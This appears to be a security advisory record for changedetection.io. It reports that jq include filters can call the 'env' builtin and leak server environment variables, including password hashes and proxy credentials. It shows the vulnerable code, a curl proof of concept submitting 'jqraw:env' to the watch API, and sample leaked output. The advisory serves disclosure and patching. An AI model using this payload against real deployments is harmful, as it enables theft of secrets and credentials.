GHSA-58r7-4wr5-hfx8

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Source
https://github.com/advisories/GHSA-58r7-4wr5-hfx8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-58r7-4wr5-hfx8/GHSA-58r7-4wr5-hfx8.json
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https://api.osv.dev/v1/vulns/GHSA-58r7-4wr5-hfx8
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Published
2026-03-27T19:11:16Z
Modified
2026-03-30T20:34:56.595014Z
Severity
  • 8.3 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N CVSS Calculator
Summary
Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters
Details

Summary

The jq: and jqraw: include filter expressions allow use of the jq env builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including SALTED_PASS, PLAYWRIGHT_DRIVER_URL, HTTP_PROXY, and any secrets passed as env vars to the container.

Details

Vulnerable file: changedetectionio/html_tools.py, lines 380-388

User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:

if json_filter.startswith("jq:"):
    jq_expression = jq.compile(json_filter.removeprefix("jq:"))
    match = jq_expression.input(json_data).all()
    return _get_stripped_text_from_json_match(match)

if json_filter.startswith("jqraw:"):
    jq_expression = jq.compile(json_filter.removeprefix("jqraw:"))
    match = jq_expression.input(json_data).all()
    return '\n'.join(str(item) for item in match)

The form validator at forms.py:670-673 only checks that the expression compiles (jq.compile(input)) — it does not block dangerous functions. The jq env builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.

PoC

Step 1 — Create a watch for any JSON endpoint with jqraw:env as the include filter:

curl -X POST http://target:5000/api/v1/watch \
  -H "Content-Type: application/json" \
  -H "x-api-key: <api-key>" \
  -d '{
    "url": "https://httpbin.org/json",
    "include_filters": ["jqraw:env"],
    "time_between_check": {"seconds": 30}
  }'

If no password or API key is set (the default), no authentication is needed.

Step 2 — Wait for the watch to be checked, or trigger a recheck:

curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>"

Step 3 — The processed text file on disk now contains all environment variables:

{'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000',
 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash',
 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22',
 ... and all other env vars}

The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured.

Confirmed on v0.54.6: The processed text file stored 46 environment variables from the server process.

Impact

  • Secret exposure: Leaks SALTED_PASS (password hash used for authentication), enabling offline cracking or direct session forgery
  • Infrastructure credential theft: Leaks PLAYWRIGHT_DRIVER_URL, WEBDRIVER_URL, HTTP_PROXY/HTTPS_PROXY, database connection strings, and any API keys or tokens passed as environment variables
  • Cascading access: Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems
  • Affects all deployments using jq: Any instance where the Python jq module is installed (standard in Docker deployments) is vulnerable
  • No authentication required by default: changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration
Database specific 
{
    "cwe_ids": [
        "CWE-200"
    ],
    "github_reviewed_at": "2026-03-27T19:11:16Z",
    "nvd_published_at": "2026-03-27T22:16:22Z",
    "severity": "HIGH",
    "github_reviewed": true
}
References

Affected packages

PyPI / changedetection-io

Package

Name
changedetection-io
View open source insights on deps.dev
Purl
pkg:pypi/changedetection-io

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.54.7

Affected versions

0.*
0.38.2
0.39
0.39.1
0.39.2
0.39.3
0.39.4
0.39.5
0.39.6
0.39.7
0.39.8
0.39.9
0.39.10
0.39.10.post1
0.39.10.post2
0.39.11
0.39.12
0.39.13
0.39.13.1
0.39.14
0.39.14.1
0.39.15
0.39.16
0.39.17
0.39.17.1
0.39.17.2
0.39.18
0.39.19
0.39.19.1
0.39.20
0.39.20.1
0.39.20.2
0.39.20.3
0.39.20.4
0.39.21
0.39.21.1
0.39.22
0.39.22.1
0.40.0
0.40.0.1
0.40.0.2
0.40.0.3
0.40.0.4
0.40.1.0
0.40.1.1
0.40.2
0.40.3
0.41
0.41.1
0.42
0.42.1
0.42.2
0.42.3
0.43.1
0.43.2
0.44
0.44.1
0.45
0.45.1
0.45.2
0.45.3
0.45.4
0.45.5
0.45.6
0.45.7
0.45.7.1
0.45.7.2
0.45.7.3
0.45.8
0.45.8.1
0.45.9
0.45.11
0.45.12
0.45.13
0.45.14
0.45.15
0.45.16
0.45.17
0.45.18
0.45.19
0.45.20
0.45.21
0.45.22
0.45.23
0.45.24
0.45.25
0.45.26
0.46.0
0.46.1
0.46.2
0.46.3
0.46.4
0.47.0
0.47.1
0.47.2
0.47.3
0.47.4
0.47.5
0.47.6
0.48.0
0.48.1
0.48.2
0.48.3
0.48.4
0.48.5
0.48.6
0.49.0
0.49.1
0.49.2
0.49.3
0.49.4
0.49.5
0.49.6
0.49.7
0.49.8
0.49.9
0.49.10
0.49.12
0.49.13
0.49.14
0.49.15
0.49.16
0.49.17
0.49.18
0.50.1
0.50.2
0.50.3
0.50.4
0.50.5
0.50.6
0.50.7
0.50.8
0.50.9
0.50.10
0.50.11
0.50.12
0.50.13
0.50.14
0.50.15
0.50.16
0.50.17
0.50.18
0.50.19
0.50.20
0.50.21
0.50.22
0.50.23
0.50.24
0.50.25
0.50.26
0.50.27
0.50.28
0.50.29
0.50.30
0.50.31
0.50.32
0.50.33
0.50.34
0.50.35
0.50.37
0.50.38
0.50.39
0.50.40
0.50.41
0.50.42
0.50.43
0.51.0
0.51.1
0.51.2
0.51.3
0.51.4
0.52.1
0.52.2
0.52.3
0.52.4
0.52.5
0.52.6
0.52.7
0.52.8
0.52.9
0.53.1
0.53.2
0.53.3
0.53.4
0.53.5
0.53.6
0.53.7
0.54.1
0.54.2
0.54.3
0.54.4
0.54.5
0.54.6

Database specific

last_known_affected_version_range 
"<= 0.54.6"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-58r7-4wr5-hfx8/GHSA-58r7-4wr5-hfx8.json"